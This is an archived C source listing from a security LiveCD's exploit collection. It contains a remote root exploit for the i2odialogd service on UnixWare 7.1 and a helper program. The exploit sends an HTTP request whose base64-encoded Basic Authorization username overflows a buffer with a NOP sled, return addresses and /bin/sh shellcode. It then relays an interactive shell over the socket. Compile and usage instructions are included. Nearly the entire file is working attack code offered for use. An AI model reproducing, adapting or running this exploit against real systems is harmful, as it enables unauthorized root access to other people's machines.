home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / sco / remote / i2odialogd.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  4KB  |  192 lines

  1. /* uwi2.c
  2.  *
  3.  * i2o remote root exploit for UnixWare 7.1
  4.  * compile on UnixWare with cc -o uwi2 uwi2.c -lsocket -lnsl
  5.  * ./uwi2 <hostname> =
  6.  
  7.  * The hard-coded RET address is 0x8047d4c =
  8.  
  9.  *
  10.  * To either replace the shellcode or change the offset you must =
  11.  
  12.  * first craft a program which outputs, in this order:
  13.  * - 92 bytes of your RET address (EIP starts at 89)
  14.  * - NOPs, as many as you would like
  15.  * - your shellcode
  16.  * - the character ":"
  17.  * - any character, maybe "A", as I've done below
  18.  * - NULL
  19.  * When printf()'ing this string, do NOT append a \newline!
  20.  * You then pipe the output of this program to a MIME encoder (mimencode =
  21.  
  22.  * on UnixWare).  You then take the output of this program and paste it
  23.  * where I've marked below.
  24.  *
  25.  * Brock Tellier btellier@usa.net
  26.  *
  27. */
  28.  
  29. #include <stdio.h>
  30. #include <unistd.h>
  31. #include <sys/socket.h>
  32. #include <netinet/in.h>
  33. #include <sys/errno.h>
  34. #include <netdb.h>
  35.  
  36. #define BUFLEN 10000
  37.  
  38. /* since we're overflowing an Authenticate: Basic username */
  39. /* our exploit code must be base64(MIME) encoded */
  40.  
  41. char *mimecode =
  42.  
  43.  
  44. /**** CHANGE THIS PART OF THE EXPLOIT STRING ****/
  45. "kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ=
  46. "
  47. "kJCQkJCQTH0ECEx9BAhMfQQITH0ECEx9BAhMfQQITH0ECEx9BAhMfQQITH0ECJCQkJCQkJCQ=
  48. "
  49. "kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ=
  50. "
  51. "kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ=
  52. "
  53. "kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ=
  54. "
  55. "kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ6xteMduJXgeJXgyIXhExwLA7jX4HiflT=
  56. "
  57. "UVZW6xDo4P///y9iaW4vc2iqqqqqmqqqqqoHqpCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ=
  58. "
  59. "kJCQkJCQkJCQkJCQkJCQkJCQkDpB";
  60. /************************************************/
  61.  
  62. char *auth=
  63. "GET / HTTP/1.0\r\n"
  64. "Host: localhost:360\r\n"
  65. "Accept: text/html\r\n"
  66. "Accept-Encoding: gzip, compress\r\n"
  67. "Accept-Language: en\r\n"
  68. "Negotiate: trans\r\n"
  69. "User-Agent: xnec\r\n"
  70. "Authorization: Basic";
  71.  
  72. char buf[BUFLEN];
  73. char sockbuf[BUFLEN];
  74. char c;
  75. int offset=0;
  76. int i, ascii,num;
  77. int i2oport = 360;
  78. int sock;
  79. int addr = 0x80474b4;
  80. struct  sockaddr_in sock_a;
  81. struct  hostent *host;
  82.  
  83. void main (int argc, char *argv[]) {
  84.         =
  85.  
  86.  if(argc < 2) {
  87.    fprintf(stderr, "Error:Usage: %s <hostname> \n", argv[0]);
  88.    exit(0);
  89.   }
  90.  if(argc == 3) offset=atoi(argv[2]);
  91.  =
  92.  
  93.  sprintf(buf, "%s %s \r\n\r\n", auth, mimecode);
  94.  buf[BUFLEN - 1] = 0;
  95.  
  96.  fprintf(stderr, "i2odialogd remote exploit for UnixWare 7.1\n");
  97.  fprintf(stderr, "Brock Tellier btellier@usa.net\n");
  98.  
  99.  if((host=(struct hostent *)gethostbyname(argv[1])) == NULL) {
  100.     perror("gethostbyname"); =
  101.  
  102.     exit(-1);
  103.   }
  104.  =
  105.  
  106.  if((sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))<0) {
  107.     perror("create socket");
  108.     exit(-1);
  109.   }
  110.  
  111.  sock_a.sin_family=AF_INET;
  112.  sock_a.sin_port=htons(i2oport);
  113.  memcpy((char *)&sock_a.sin_addr,(char *)host->h_addr,host->h_length);
  114.  if(connect(sock,(struct sockaddr *)&sock_a,sizeof(sock_a))!=0) {
  115.     perror("create connect");
  116.     exit(-1);
  117.   }
  118.  
  119.   fflush(stdout);
  120.  
  121.   // write exploit
  122.   write(sock,buf,strlen(buf));
  123.  
  124.   //begin read
  125.   while(1) {
  126.     fd_set input;
  127.     FD_SET(0,&input);
  128.     FD_SET(sock,&input);
  129.     select(sock+1,&input,NULL,NULL,NULL);
  130.  
  131.     if(FD_ISSET(sock,&input)) {
  132.       num=read(sock,sockbuf,BUFLEN);
  133.       write(1,sockbuf,num);
  134.      }
  135.      if(FD_ISSET(0,&input))
  136.      write(sock,sockbuf,read(0,sockbuf,BUFLEN));
  137.   }
  138. }
  139.  
  140. ------
  141.  
  142. --- addr.c ---
  143.  
  144. /* =
  145.  
  146.  * addr.c - Add-on for the UnixWare 7.1 remote root exploit in i2dialogd
  147.  * simply MIME encode the output of this program and put into the =
  148.  
  149.  * appropriate place in uwi2.c
  150.  * =
  151.  
  152.  * Usage: cc -o addr addr.c; ./addr <offset> <size>
  153.  *
  154.  * Brock Tellier btellier@usa.net
  155. */
  156.  
  157. #include <stdio.h>
  158. #define NOP 0x90
  159.  
  160. char scoshell[]= =
  161.  
  162. "\xeb\x1b\x5e\x31\xdb\x89\x5e\x07\x89\x5e\x0c\x88\x5e\x11\x31\xc0"
  163. "\xb0\x3b\x8d\x7e\x07\x89\xf9\x53\x51\x56\x56\xeb\x10\xe8\xe0\xff"
  164. "\xff\xff/bin/sh\xaa\xaa\xaa\xaa\x9a\xaa\xaa\xaa\xaa\x07\xaa";
  165.  
  166. void main(int argc, char *argv[]) {
  167.  
  168. long addr;
  169. char buf[2000];
  170. int i;
  171. int offset;
  172. int size = 400;
  173.  
  174. if (argc > 1) offset = atoi(argv[1]);
  175. if (argc > 2) size = atoi(argv[2]);
  176.  
  177. addr=0x8046000 + offset;
  178. memset(buf, NOP, size);
  179. for(i=60;i<100;i+=4)*(int *)&buf[i]=addr;
  180. for(i = 0; i < strlen(scoshell); i++)
  181.    buf[i+300] = scoshell[i];
  182. buf[size - 3] = ':'; =
  183.  
  184. buf[size - 2] = 'A';
  185. buf[size - 1] = 0;
  186. fprintf(stderr, "using addr 0x%x with offset %d \n", addr, offset);
  187. fprintf(stderr, "mime-encode the stdoutput!\n");
  188. printf(buf);
  189.  
  190. }
  191.  
  192.